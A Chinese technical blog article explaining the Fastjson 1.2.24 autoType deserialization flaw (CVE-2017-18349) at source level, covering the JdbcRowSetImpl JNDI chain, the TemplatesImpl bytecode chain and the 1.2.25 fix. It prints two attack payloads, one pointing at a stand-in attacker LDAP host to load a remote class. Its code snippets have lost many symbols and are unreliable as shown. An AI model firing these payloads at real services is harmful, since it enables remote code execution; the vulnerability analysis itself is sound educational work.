ARTICLE DETAIL

资讯详情

深耕网站SEO优化与搜索引擎排名提升的一线实战洞察。

Fastjson 1.2.24 autoType 反序列化漏洞分析(CVE-2017-18349)

Fastjson 1.2.24 autoType 反序列化漏洞分析(CVE-2017-18349) Fastjson 1.2.24 autoType 反序列化漏洞分析CVE-2017-18349写在前面fastjson 反序列化这条“百足之虫”1.2.47 那篇复现里我们见过它怎么“绕过”。但要看懂绕过得先回到原点——1.2.24autoType 还是“裸奔”状态的年代。1.2.24CVE-2017-18349是 fastjson 反序列化的开山之作。这时 autoType 默认开启、没有任何黑名单type想指谁指谁。它回答了一个根本问题fastjson 凭什么能把一段 JSON 变成任意 Java 对象还顺手执行了 setter/getter这篇我们扒源码把 autoType 从“读到一个type”到“对象被实例化、危险方法被调用”的每一步讲透并拆两条最经典的 gadgetJdbcRowSetImplJNDI 注入和TemplatesImpl字节码加载。本文只讲源码机制不复现复现见 1.2.47 那篇。前置的 JNDI/反序列化基础见 Java 反序列化漏洞基础。一、漏洞简介漏洞组件Alibaba fastjson影响版本≤ 1.2.24漏洞类型autoType 任意类反序列化导致 RCECVECVE-2017-18349根因反序列化时type可指定任意类并自动实例化、调用其 setter/getter无任何类型校验特点autoType 默认开启黑名单不存在利用门槛极低二、autoType 的源码机制autoType 不是玄学它是 fastjson 反序列化器里几行明确的代码。我们从入口JSON.parseObject一路追下去。2.1 入口DefaultJSONParser 识别 typeJSON.parseObject(str)最终会构造一个DefaultJSONParser并调它的parse/parseObject。解析 JSON 对象时解析器逐个读 key当读到那个特殊的 keytypeJSON.DEFAULT_TYPE_KEY就走 autoType 分支// DefaultJSONParser.parseObject (fastjson 1.2.24核心分支)if(keyJSON.DEFAULT_TYPE_KEY!lexer.isEnabled(Feature.DisableSpecialKeyDetect)){StringtypeNamelexer.scanSymbol(this.getSymbolTable(),);// 读出类名...// ★ 1.2.24 直接 loadClass没有任何 checkAutoTypeClass?clazzTypeUtils.loadClass(typeName,config.getDefaultClassLoader(),true);...// 2. 拿到这个类的反序列化器ObjectDeserializerdeserializerconfig.getDeserializer(clazz);// 3. 委托给它反序列化return(JSONObject)deserializer.deserialze(this,clazz,fieldName);}注意第 1 步1.2.24 里type指定的类名被直接喂给TypeUtils.loadClass中间没有任何黑白名单校验——这是 1.2.25 之后checkAutoType要补的位置此时还空着。三步概括autoType 识别 type → 加载类 → 委托反序列化器。前两步是“找类”第三步是“造对象 填字段”危险恰恰在第三步。2.2 加载类TypeUtils.loadClassTypeUtils.loadClass负责“类名字符串 → Class 对象”逻辑很直白——先查缓存查不到就loadClass/Class.forName// TypeUtils.loadClass (fastjson 1.2.24)publicstaticClass?loadClass(StringclassName,ClassLoaderclassLoader,booleancache){if(classNamenull||className.length()0)returnnull;Class?clazzmappings.get(className);// ① 先查内部缓存 mappingsif(clazz!null)returnclazz;...// ② 基本类型/数组等内置处理if(classLoader!null){try{clazzclassLoader.loadClass(className);// ③ 用传入的 ClassLoader 加载if(cache)mappings.put(className,clazz);// ★ cachetrue 时塞进缓存returnclazz;}catch(ClassNotFoundExceptione){/* fallthrough */}}try{clazzClass.forName(className);// ④ 兜底Class.forNameif(cache)mappings.put(className,clazz);returnclazz;}catch(ClassNotFoundExceptione){...}returnclazz;}两点要点加载任意类classLoader.loadClass/Class.forName能加载 classpath 上包括 JDK 内部的任何类比如com.sun.rowset.JdbcRowSetImpl。1.2.24 不拦。cachetrueparseObject 那一步传入的就是true于是每个被type加载过的类都会进mappings缓存。这个缓存后面 1.2.47 那篇会反复用到——记住它它是后续绕过的“弹药库”。类拿到了接下来就是怎么把 JSON 字段变成对象状态——这一步会触发 setter/getter。2.3 造对象 填字段JavaBeanDeserializer第三步deserializer.deserialze对普通 JavaBean 走的是JavaBeanDeserializer。它干两件事实例化用默认构造器或 ASM 生成的快速反序列化器new出对象。填字段遍历 JSON 里剩下的每个字段找到对象上对应的FieldDeserializer由它把值塞进去——通常就是调setXxx。// JavaBeanDeserializer 反序列化大致流程简化ObjectinstancecreateInstance(...);// new 出来for(JSON字段(name,value)){FieldDeserializerfdgetFieldDeserializer(name);// 按字段名找处理器fd.setValue(instance,value);// ★ 通常是 instance.setXxx(value)}setValue内部对常规字段就是反射调用 setter。这就是危险传导的关键攻击者控制 JSON 的字段名和值就能指定调用哪个 setter、传什么参数。只要某个类的 setter / 构造过程里有副作用连接、加载、执行就被点燃了。小结autoType 的“自动”体现在两处自动(1) 按类名自动加载类(2) 按字段名自动调 setter。前者决定“能碰哪个类”后者决定“能触发类的哪个动作”。1.2.24 两处都不设防。下面看两条最经典的 gadget正好分别踩中“setter 触发”和“getter 触发”两种姿势。三、Gadget 一JdbcRowSetImplsetter 触发 JNDIcom.sun.rowset.JdbcRowSetImpl是 JDK 自带的类攻击者不必引入任何依赖——这是它受欢迎的原因。它的 settersetAutoCommit里藏着一个 JNDI lookup。payload1.2.24 不需要绕过直接打{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击者:1389/Exploit,autoCommit:true}3.1 两个 setter 的接力fastjson 解析这个 JSON对JdbcRowSetImpl实例依次调两个 setter// com.sun.rowset.JdbcRowSetImplpublicvoidsetDataSourceName(Stringname)throwsSQLException{if(namenull){dataSourcenull;}elseif(name.equals(dataSource)){/* 无变化 */}else{dataSourcename;// ★ 把 ldap://... 存进 dataSource 字段...}}publicvoidsetAutoCommit(booleanvar1)throwsSQLException{if(this.connnull){// conn 初始为 nullthis.connthis.connect();// ★ conn 为空就主动 connect()!}if(this.conn!null){this.conn.setAutoCommit(var1);}...}setDataSourceName(ldap://攻击者:1389/Exploit)把恶意 URL 存到dataSource字段。这一步本身无害只是赋值。setAutoCommit(true)检测到conn还是 null于是调connect()去“建数据库连接”。3.2 connect() 里的 JNDI lookupconnect()拿dataSource里的字符串去InitialContext.lookup——而那个字符串是攻击者塞进去的 LDAP/RMI URL// JdbcRowSetImpl.connectprivateConnectionconnect()throwsSQLException{...InitialContextvar1newInitialContext();DataSourcevar2(DataSource)var1.lookup(this.getDataSourceName());// ★ JNDI 注入点!...}lookup(ldap://攻击者:1389/Exploit)一执行流程就交给了 JNDI 的“下半段”连攻击者 LDAP → 返回 Reference 指向远程恶意类 → 加载并实例化 → 命令执行。这一段和 Log4j2 完全一样见 Log4j2 篇受com.sun.jndi.ldap.object.trustURLCodebase限制。整条链typeJdbcRowSetImpl ├ setDataSourceName(ldap://攻击者) 存 URL无害赋值 └ setAutoCommit(true) └ connnull - connect() └ InitialContext.lookup(dataSource) ★ JNDI 注入 └ 连攻击者 LDAP - 加载远程类 - RCE注意一个共性危险动作发生在 setter 的正常业务逻辑里。setAutoCommit本意是“设置自动提交顺带没连就先连一下”connect本意是“按 dataSource 建连接”。攻击者没有调用任何“危险 API”只是把字段值喂成了能被 JNDI 解析的 URL。这就是为什么 gadget 常常藏在 setter 里——它们是“看起来正常、实则可达危险路径”的方法。四、Gadget 二TemplatesImplgetter 触发字节码加载第二条链com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl走的是另一条路不靠 setter靠getter而且不依赖 JNDI不需要出网直接在本地加载恶意字节码。payload{type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes:[恶意类字节码的 Base64],_name:a.b,_tfactory:{},_outputProperties:{}}4.1 fastjson 怎么会调 getter这是 fastjson 特有的机关。反序列化_outputProperties字段时fastjson 要把{}里的内容“填进去”。它的属性查找逻辑大致是// JavaBeanDeserializer 处理一个属性值时的策略简化// 对属性 outputPropertiesMethodsetterfindSetter(outputProperties);// setOutputProperties?——TemplatesImpl 没有MethodgetterfindGetter(outputProperties);// getOutputProperties() ——有if(setternullgetter!null){Objecttargetgetter.invoke(instance);// ★ 调 getter 拿一个“可填值”的对象// 然后把 JSON 内容往 target 里填}TemplatesImpl实现了javax.xml.transform.Templates接口该接口只规定getOutputProperties()和newTransformer()没有 setter。于是 fastjson 对outputProperties属性只能走 getter调用getOutputProperties()拿到一个Properties对象再把 JSON{}的内容往里填。攻击者正是利用这一点用一个空对象{}触发 getter 执行。字段名加下划线_outputProperties是 fastjson 的字段映射约定映射到属性outputProperties。4.2 getter 一路走到 defineClassgetOutputProperties的实现把调用链一路引到类加载// TemplatesImplpublicsynchronizedPropertiesgetOutputProperties(){try{returnnewTransformer().getOutputProperties();// ★ → newTransformer}catch(...){...}}publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpltransformernewTransformerImpl(getTransletInstance(),...);// ★ → getTransletInstance...}privateTransletgetTransletInstance(){...if(_classnull)defineTransletClasses();// ★ → defineTransletClassesAbstractTranslettranslet(AbstractTranslet)_class[_transletIndex].newInstance();// ★ 实例化恶意类!...}privatevoiddefineTransletClasses(){...for(inti0;iclassCount;i){_class[i]loader.defineClass(_bytecodes[i]);// ★ 加载 _bytecodes 里的字节码}}_bytecodes字段被 fastjson 填成了攻击者预先生成的恶意类字节码Base64 编码。defineTransletClasses用defineClass把这段字节码定义成一个 Class。getTransletInstance再newInstance()实例化它——恶意类的static{}块或构造方法执行命令落地。链路图_outputProperties: {} └ fastjson 调 getOutputProperties() (属性无 setter走 getter) └ newTransformer() └ getTransletInstance() ├ defineTransletClasses() │ └ defineClass(_bytecodes) 加载恶意字节码 └ newInstance() 实例化 - 命令执行4.3 两条链对比维度JdbcRowSetImplTemplatesImpl触发点settersetAutoCommitgettergetOutputProperties危险路径JNDI lookupdefineClass newInstance是否需出网需要连 LDAP/RMI不需要本地加载字节码payload 大小小URL大嵌 Base64 字节码JDK 限制受trustURLCodebase限制受defineClass可见性/_tfactory影响TemplatesImpl这条链更“自闭”不出网也能打代价是 payload 体积大、构造更繁琐。两者都依赖 1.2.24 的“无校验加载 自动调方法”只是切入点一左一右。五、为什么 1.2.24 如此脆弱把上面拆开看1.2.24 的脆弱是三道门全开的结果autoType 默认开type默认就被处理无需目标主动开启。loadClass 无校验type指向任意类含 JDK 内部类直接加载。自动调 setter/getterJavaBeanDeserializer按字段名自动调用 setter/getter把“赋值”变成了“触发动作”。三者叠加任何一个 JSON 都能在反序列化时执行攻击者指定的类的指定方法。这是“功能即漏洞”的典型autoType 的设计目标是“灵活还原任意对象”但“任意”二字本身就是 RCE 的全部前提。六、修复1.2.25 引入 checkAutoType1.2.25 的修补针对上面三道门默认关 autoTypeParserConfig.autoTypeSupportfalse不显式开启则type不被处理。加 checkAutoType在loadClass之前插入类型校验命中黑名单denyList的直接抛异常。1.2.42 起黑名单从明文类名前缀改为哈希denyHashCodes防止逆向。// 1.2.25 的 parseObject 分支对比 2.1Class?clazzconfig.checkAutoType(typeName,null);// ★ 新增先过校验// 通过后才 loadClass但黑名单是“已知危险类的清单”本质是堵已知、防不住未知。于是从 1.2.25 到 1.2.47官方一路加黑名单攻击者一路绕类名前后缀绕过、缓存投毒……。这场猫鼠游戏的故事正是 1.2.47 绕过分析的主题。1.2.68 引入safeModesetSafeMode(true)彻底禁用 autoType才算给这场游戏画了句号。七、小结1.2.24 这篇我们看清了 autoType 的“三个自动”自动识别type、自动加载类、自动调 setter/getter。两条 gadget 分别展示了 setterJdbcRowSetImpl→ JNDI和 getterTemplatesImpl→ defineClass两种触发姿势。要点记住三条危险藏在正常方法里gadget 的 setter/getter 看起来都是正常业务方法危险来自“它们的实现里会走到 lookup / defineClass”。赋值即触发fastjson 把“填字段”实现成“调 setter”于是攻击者控制字段就能控制方法调用——这是所有 fastjson gadget 的共同机理。mappings 缓存是个雷loadClass(cachetrue)把加载过的类塞进mappings1.2.24 这里只是个性能优化但到了 1.2.47这个缓存被翻出来当成了绕过黑名单的跳板。下一篇1.2.47 绕过分析我们就来看这个缓存怎么被“投毒”。参考fastjson GitHubhttps://github.com/alibaba/fastjsonCVE-2017-18349
返回列表